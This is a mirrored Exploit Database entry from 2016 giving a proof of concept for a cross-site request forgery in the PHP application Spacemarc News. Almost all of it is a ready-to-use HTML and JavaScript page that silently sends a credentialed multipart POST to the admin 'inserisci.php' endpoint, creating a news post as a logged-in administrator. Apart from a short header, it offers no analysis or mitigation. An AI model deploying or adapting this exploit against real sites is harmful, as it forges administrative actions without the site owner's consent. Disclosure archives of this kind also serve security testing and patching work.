Spacemarc News – Cross-Site Request Forgery (Add New Post)

Exploit Database
161 阅读

作者： Besim

日期： 2016-10-10
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40493/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

# Exploit Title :Spacemarc News - Cross-Site Request

Forgery ( Add New Post)

# Author : Besim

# Google Dork : -

# Date : 10/10/2016

# Type : webapps

# Platform : PHP

# Vendor Homepage : http://www.spacemarc.it

# Software link :

http://www.hotscripts.com/listings/jump/download/107255

*########################### CSRF PoC ###############################*

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://site_name/news/admin/inserisci.php", true);

xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart/form-data;boundary=---------------------------7815509202030471153167006625");

xhr.withCredentials = true;

var body ="-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"titolo\"\r\n" +

"\r\n" +

"MavilerTester\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"im\"\r\n" +

"\r\n" +

"IM\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"size\"\r\n" +

"\r\n" +

"Normale\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"color\"\r\n" +

"\r\n" +

"Color\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"helpbox\"\r\n" +

"\r\n" +

"[u]text[/u]\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"testo\"\r\n" +

"\r\n" +

"tester\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"immagine\"\r\n" +

"\r\n" +

"\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"userfile\";filename=\"\"\r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"letture\"\r\n" +

"\r\n" +

"0\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"categoria\"\r\n" +

"\r\n" +

"1\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"abilita_commenti\"\r\n" +

"\r\n" +

"on\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"notifica_commenti\"\r\n"+

"\r\n" +

"on\r\n" +

"-----------------------------7815509202030471153167006625\r\n" +

"Content-Disposition: form-data; name=\"submit\"\r\n" +

"\r\n" +

"Inserisci\r\n" +

"-----------------------------7815509202030471153167006625--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest();

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />

</form>

</body>

</html>

*####################################################################*